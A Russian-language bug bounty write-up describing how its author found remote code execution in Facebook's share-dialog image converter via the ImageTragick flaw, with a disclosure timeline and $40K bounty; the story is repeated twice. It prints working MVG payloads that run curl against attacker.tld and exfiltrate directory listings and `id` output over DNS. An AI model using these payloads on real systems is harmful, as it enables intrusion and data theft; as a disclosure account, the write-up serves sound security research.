Всем привет! Да, это я 2 года 11 месяцев и 6 дней назад обещал рассказать про новые уязвимости. Но со временем стало понятно, что, либо они не интересные, либо рассказывать о них пришлось бы с помощью скриншотов больше похожих на рассекреченные документы спецслужб — пара бессмысленных слов и куча чёрных прямоугольников. Но — время пришло.
Я уверен, что все вы слышали про ImageMagick и его «Трагедию». Эта уязвимость была найдена в конце апреля 2016 года и в следствии того, что многие плагины, обрабатывающие изображения, использовали библиотеку ImageMagick, данная проблема охватывала большое количество систем. Так как были свидетельства о том, что информация о данной уязвимости была доступна не только исследователям, которые её обнаружили, и разработчикам ImageMagick'а, но и третьим лицам, 3 мая 2016 года информация о уязвимости (без PoC) была раскрыта для всего мира. Многие исследователи воспользовались данной информацией и нашли уязвимости в приложениях, которые не были обновлены вовремя. К сожалению, я не был среди этих счастливчиков. Но это было в мае:)
Однажды в субботу, за окном был питерский октябрь, я тестировал один большой сервис — не Facebook. Но один из редиректов привёл меня на него — это был диалог «Поделиться на Facebook»:
![image](https://habrastorage.org/r/w1560/files/265/555/16e/26555516e9dd474685945eeb3f38225f.png)
Этот диалог могли видеть многие из вас. Если мы приглядимся, можно увидеть, что параметр `picture` является ссылкой на изображение. Но такого изображения нету в содержании страницы. Например:
![https://www.google.com/images/errors/robot.png](https://habrastorage.org/r/w1560/files/846/c87/bc1/846c87bc1bd346a8b5106ae692e1378d.png)
Превращается во что-то такое:
![https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb](https://habrastorage.org/r/w1560/files/f91/10a/355/f9110a3554e84e1abab0e867b0773202.png)
Первое, о чём я подумал, это об SSRF-уязвимости в том или ином виде. Но тесты показали, что урл из этого параметра запрашивается из подсетки 31.13.97.* с юзерагентом facebookexternalhit/1.1. Например:
И всё это похоже на нормальный запрос из изолированной подсетки, которая специально для этого предназначена.
Но в любом случае приложение производит преобразование изображений каким-то конвертером и я стал копать в этом направлении. После нескольких тестов (один из моих любимых, который принёс мне много денег — парсинг и преобразование SVG картинок, которые на самом деле XML файлы, чтобы получить SSRF с сервера, который производит конвертацию, и который далеко не всегда такой же, как север с которого было запрошено изображение или, если мне совсем повезло, получить XXE) я был весьма расстроен. Ни один из них не сработал.
ImageTragick был последней надеждой. Хотя у меня уже надежды не было. Если вы не очень знакомы с подробностями уязвимости и её эксплуатацией или ленивы — здесь вы можете найти готовые PoC.
Вот так выглядит самый простой пэйлоад exploit.png:
Барабанная дробь… и ничего не произошло:
Facepalm и Okay.
— Но что если… если это всего лишь ограничения firewall'а? — спросил я сам себя.
Ок. Это действительно случается довольно часто, когда компания блокирует обычные http-запросы, но не блокирует запросы DNS. Что ж, попробуем другой пэйлоад:
Надо иметь ввиду, что в данном случае атакующий использует DNS сервер, который пишет логи запросов к нему. И в результате получаем:
Whois IP говорит нам:
Вечеринка начинается :) Таким образом приложение работает следующим образом:
Буду честен, я пытался найти обычный путь эксплуатации этого http-запроса, но быстрые тесты показали, что, либо все исходящие порты закрыты, либо я бы потратил слишком много времени для того, чтобы найти хотя бы один открытый. И я пошёл другим путём, которого было достаточно для подтверждения эксплуатации.
Пэйлоад:
Результат:
И так далее…
Команда bash `id` возвратила:
Для подтверждения того, что эксплоит работает, я отправил команде безопасности Facebook вывод команды `cat /proc/version`, который не буду показывать здесь.
В соответствии с Политикой Ответственного Распространения Фэйсбука глубже я уже не копал.
Уже после того, как я отправил репорт, мы с Нилом из команды безопасности Facebook'а обсудили, что вывод `cat /proc/version | base64` мог бы быть гораздо более удобен для DNS запроса, а более глубокое исследование показало, что в техниках DNS туннелирования обычно используется base32 (подробнее здесь: https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152).
Я рад быть одним из тех, кто взломал Facebook.
Вот и всё:)
Timeline:
16 Oct 2016, 03:31 am: Первый репорт
18 Oct 2016, 05:35 pm: Нил из команды безопасности запросил PoC, который я использовал во время исследования
18 Oct 2016, 08:40 pm: Я послал PoC и сопроводил его дополнительной информацией
18 Oct 2016, 10:31 pm: Уязвимость подтверждена Нилом
19 Oct 2016, 12:26 am: Нил уведомил, что фикс в процессе выкладки
19 Oct 2016, 02:28 am: Нил сообщил, что уязвимость исправлена
19 Oct 2016, 07:49 am: Я подтвердил, что уязвимость исправлена и запросил процедуру раскрытия
22 Oct 2016, 03:34 am: Нил ответил о процедуре и времени раскрытия
28 Oct 2016, 03:04 pm: Назначено вознаграждение ($40K)
16 Dec 2016: Раскрытие разрешено.
Я уверен, что все вы слышали про ImageMagick и его «Трагедию». Эта уязвимость была найдена в конце апреля 2016 года и в следствии того, что многие плагины, обрабатывающие изображения, использовали библиотеку ImageMagick, данная проблема охватывала большое количество систем. Так как были свидетельства о том, что информация о данной уязвимости была доступна не только исследователям, которые её обнаружили, и разработчикам ImageMagick'а, но и третьим лицам, 3 мая 2016 года информация о уязвимости (без PoC) была раскрыта для всего мира. Многие исследователи воспользовались данной информацией и нашли уязвимости в приложениях, которые не были обновлены вовремя. К сожалению, я не был среди этих счастливчиков. Но это было в мае:)
Однажды в субботу, за окном был питерский октябрь, я тестировал один большой сервис — не Facebook. Но один из редиректов привёл меня на него — это был диалог «Поделиться на Facebook»:
![image](https://habrastorage.org/files/265/555/16e/26555516e9dd474685945eeb3f38225f.png)
https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H
Этот диалог могли видеть многие из вас. Если мы приглядимся, можно увидеть, что параметр `picture` является ссылкой на изображение. Но такого изображения нету в содержании страницы. Например:
![https://www.google.com/images/errors/robot.png](https://habrastorage.org/files/846/c87/bc1/846c87bc1bd346a8b5106ae692e1378d.png)
https://www.google.com/images/errors/robot.png
Превращается во что-то такое:
![https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb](https://habrastorage.org/files/f91/10a/355/f9110a3554e84e1abab0e867b0773202.png)
https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb
Первое, о чём я подумал, это об SSRF-уязвимости в том или ином виде. Но тесты показали, что урл из этого параметра запрашивается из подсетки 31.13.97.* с юзерагентом facebookexternalhit/1.1. Например:
$ nc -lvvv 8088
Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted
GET /exploit.png?ddfadsvdbv HTTP/1.1
User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
Accept: */*
Accept-Encoding: deflate, gzip
Host: attacker.tld
Connection: keep-alive
И всё это похоже на нормальный запрос из изолированной подсетки, которая специально для этого предназначена.
Но в любом случае приложение производит преобразование изображений каким-то конвертером и я стал копать в этом направлении. После нескольких тестов (один из моих любимых, который принёс мне много денег — парсинг и преобразование SVG картинок, которые на самом деле XML файлы, чтобы получить SSRF с сервера, который производит конвертацию, и который далеко не всегда такой же, как север с которого было запрошено изображение или, если мне совсем повезло, получить XXE) я был весьма расстроен. Ни один из них не сработал.
ImageTragick был последней надеждой. Хотя у меня уже надежды не было. Если вы не очень знакомы с подробностями уязвимости и её эксплуатацией или ленивы — здесь вы можете найти готовые PoC.
Вот так выглядит самый простой пэйлоад exploit.png:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`' pop graphic-context
Барабанная дробь… и ничего не произошло:
$ nc -lvvv 80
Facepalm и Okay.
— Но что если… если это всего лишь ограничения firewall'а? — спросил я сам себя.
Ок. Это действительно случается довольно часто, когда компания блокирует обычные http-запросы, но не блокирует запросы DNS. Что ж, попробуем другой пэйлоад:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`' pop graphic-context
Надо иметь ввиду, что в данном случае атакующий использует DNS сервер, который пишет логи запросов к нему. И в результате получаем:
IP: 31.13.*.*; NetName: LLA1-11
NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A
Whois IP говорит нам:
netname: LLA1-11 descr: Facebook
Вечеринка начинается :) Таким образом приложение работает следующим образом:
- Получает параметр `picture` и запрашивает его — это корректный запрос и в нём уязвимостей нет
- Полученная картинка передаётся конвертеру, который использовал уязвимую версию библиотеки ImageMagick
Буду честен, я пытался найти обычный путь эксплуатации этого http-запроса, но быстрые тесты показали, что, либо все исходящие порты закрыты, либо я бы потратил слишком много времени для того, чтобы найти хотя бы один открытый. И я пошёл другим путём, которого было достаточно для подтверждения эксплуатации.
Пэйлоад:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`' pop graphic-context
Результат:
NAME: home.attacker.tld, Type: A NAME: boot.attacker.tld, Type: 28 NAME: dev.attacker.tld, Type: 28 NAME: bin.attacker.tld, Type: A … …
И так далее…
Команда bash `id` возвратила:
NAME: uid=99(nobody).attacker.tld., Type: 28 NAME: groups=99(nobody).attacker.tld., Type: A NAME: gid=99(nobody).attacker.tld., Type: A
Для подтверждения того, что эксплоит работает, я отправил команде безопасности Facebook вывод команды `cat /proc/version`, который не буду показывать здесь.
В соответствии с Политикой Ответственного Распространения Фэйсбука глубже я уже не копал.
Уже после того, как я отправил репорт, мы с Нилом из команды безопасности Facebook'а обсудили, что вывод `cat /proc/version | base64` мог бы быть гораздо более удобен для DNS запроса, а более глубокое исследование показало, что в техниках DNS туннелирования обычно используется base32 (подробнее здесь: https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152).
Я рад быть одним из тех, кто взломал Facebook.
Вот и всё:)
Timeline:
16 Oct 2016, 03:31 am: Первый репорт
18 Oct 2016, 05:35 pm: Нил из команды безопасности запросил PoC, который я использовал во время исследования
18 Oct 2016, 08:40 pm: Я послал PoC и сопроводил его дополнительной информацией
18 Oct 2016, 10:31 pm: Уязвимость подтверждена Нилом
19 Oct 2016, 12:26 am: Нил уведомил, что фикс в процессе выкладки
19 Oct 2016, 02:28 am: Нил сообщил, что уязвимость исправлена
19 Oct 2016, 07:49 am: Я подтвердил, что уязвимость исправлена и запросил процедуру раскрытия
22 Oct 2016, 03:34 am: Нил ответил о процедуре и времени раскрытия
28 Oct 2016, 03:04 pm: Назначено вознаграждение ($40K)
16 Dec 2016: Раскрытие разрешено.